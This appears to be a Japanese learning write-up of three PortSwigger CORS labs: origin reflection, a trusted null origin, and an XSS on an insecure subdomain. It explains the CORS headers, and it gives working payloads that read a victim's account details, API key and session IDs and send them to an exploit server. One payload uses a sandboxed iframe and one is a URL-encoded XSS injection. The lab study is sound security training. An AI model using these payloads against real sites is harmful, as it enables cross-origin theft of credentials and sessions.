PortSwigger - Cross-origin resource sharing (CORS)
CORSとは
あるWebサイトから、別のWebサイトのデータを取得してよいかを決める仕組みです。
Progress
- CORS vulnerability with basic origin reflection
- CORS vulnerability with trusted null origin
- CORS vulnerability with trusted insecure protocols
CORS vulnerability with basic origin reflection
/accountDetails にアクセスすると、レスポンスにユーザ情報が表示されています。
HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 196
{
"username": "wiener",
"email": "cors@swigger.com",
"apikey": "D8RIRLyLgQf2NIjI1XdH2zlMlRflpmeW",
"sessions": [
"yHAIltuEl6aoWsNqV3UhT774Al6oZGjy",
"0JRVkk8Xfqj6mqiDNlW6jvfMDo2ryWXn"
]
}
Access-Control-Allow-Credentials: は、Cookie や Authorization など、認証情報付きリクエストのレスポンスを JS に読ませてよいかを示します。false の場合はレスポンスヘッダーには表示されません。
fetch('https://LAB/accountDetails', {
credentials: 'include'
})
// trueの場合resを使って本文を読むことができる
.then(res => res.json())
.then(data => {
console.log(data)
})
// 許可されていない場合読むことができずCORSエラーになる
.catch(err => {
console.log(err)
})
Access-Control-Allow-Origin: は、どの Origin の JS にレスポンスを読ませるかを示します。
| * | ・固定で「誰でもOK」 ・credentialsなしの公開API向け |
| https://app.example.com | ・固定で特定のoriginだけ許可 |
| <Originの動的な値> | ・動的に Origin を見て返している ・allowlistが厳密ならOK ・何でも反射していたら危険 |
| null | ・null originを許可 |
Access-Control-Allow-Origin: * の場合、Access-Control-Allow-Credentials: true であっても認証付きレスポンスは読むことができないため、CORSエラーとなります。
Cookieの設定を確認すると SameSite: None になっています。ここがもし Lax だった場合、fetch はトップレベルGETではないためCookieが送信されず、今回の攻撃は成立しません。
<script>
fetch('https://web-security-academy.net/accountDetails',{
credentials: 'include'
})
.then(res => res.json()) // res.text()にすると全文文字列になり特定のキーが取れない(data.apikey)
.then(data => {
fetch('https://exploit-server.net/log?key=' + encodeURIComponent(JSON.stringify(data)))
})
</script>
CORS vulnerability with trusted null origin
前章 CORS vulnerability with basic origin reflection と内容はよく似ており、null origin ということで Access-Control-Allow-Origin: null になることが考えられます。
前章のコードを使用して null origin として実行させるには、iframe.sandbox を使用すると origin が null で実行されます。
iframe に sandbox を付けない場合は iframe の origin となり、null origin にはなりません。また、sandbox に allow-scripts を付けない場合は iframe 内の JS が実行されません。
<iframe sandbox="allow-scripts" src="
<script>
fetch('https://web-security-academy.net/accountDetails',{
credentials: 'include'
})
.then(res => res.json())
.then(data => {
fetch('https://exploit-server.net/log?key=' + encodeURIComponent(JSON.stringify(data)))
})
</script>
"></iframe>
CORS vulnerability with trusted insecure protocols
今回のケースは、CORSとXSSの2つの脆弱性が存在し、XSSを介してCORSの攻撃を成立させるものです。
View details を詳しく調査すると、Check Stock をクリックした際に stock.lab-domain へのリクエストが発生しています。productId=1&storeId=1 の productId= の後に適当な文字列を入れると、その文字列を含んだエラーが返ってきます。
https://stock.web-security-academy.net/?productId=test&storeId=1
h4>ERROR</h4>Invalid product ID: test
alert を発火させることができ、XSSの脆弱性が存在することが分かります。
前章CORS vulnerability with basic origin reflectionのコードを挿入
<script>が二重になり、HTML・URLが壊れやすいため、URLエンコードする必要があります。
<script>
document.location = "http://stock.web-security-academy.net/?productId=4%3Cscript%3Efetch('https%3A%2F%2Fweb-security-academy.net%2FaccountDetails'%2C%7Bcredentials%3A'include'%7D).then(res%3D%3Eres.json()).then(data%3D%3E%7Bfetch('https%3A%2F%2Fexploit-server.net%2Flog%3Fkey%3D'%2BencodeURIComponent(JSON.stringify(data)))%7D)%3C%2Fscript%3E&storeId=1"
</script>